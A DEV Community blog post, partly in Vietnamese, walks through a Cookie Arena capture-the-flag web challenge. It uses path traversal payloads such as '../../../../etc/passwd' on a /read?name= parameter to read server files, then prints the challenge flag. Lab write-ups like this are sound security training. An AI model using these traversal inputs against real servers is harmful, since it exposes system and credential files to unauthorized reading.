DEV Community

Cover image for Challenge: File Download
tRavOndAtrACk
tRavOndAtrACk

Posted on

Challenge: File Download

Link: https://battle.cookiearena.org/challenges/web/file-download

You can upload and download file. Try to get the /flag.txt

Phân tích lỗ hổng

Dòng code:

<li><a href="/read?name=sad">sad</a></li>
Enter fullscreen mode Exit fullscreen mode

Image description

URL này cho thấy ứng dụng đang nhận một tham số name qua query string và có thể sử dụng giá trị này để đọc một file nào đó từ server. Nếu phía backend không xử lý tốt đầu vào của người dùng, thì đây là một điểm rất dễ bị tấn công path traversal.

Thử khai thác thông qua: http://[target]/read?name=../../../../etc/passwd

Image description

==> Đã bị khai thác thành công

Thử với payload: /read?name=../../../../flag.txt

Image description

==> DONEEE!

==> FLAG: CHH{eASy_DoWN104d_F1L3_83aca8177bef161dae4bdb4b5aa9ce67}


Top comments (0)

Some comments may only be visible to logged-in visitors. Sign in to view all comments.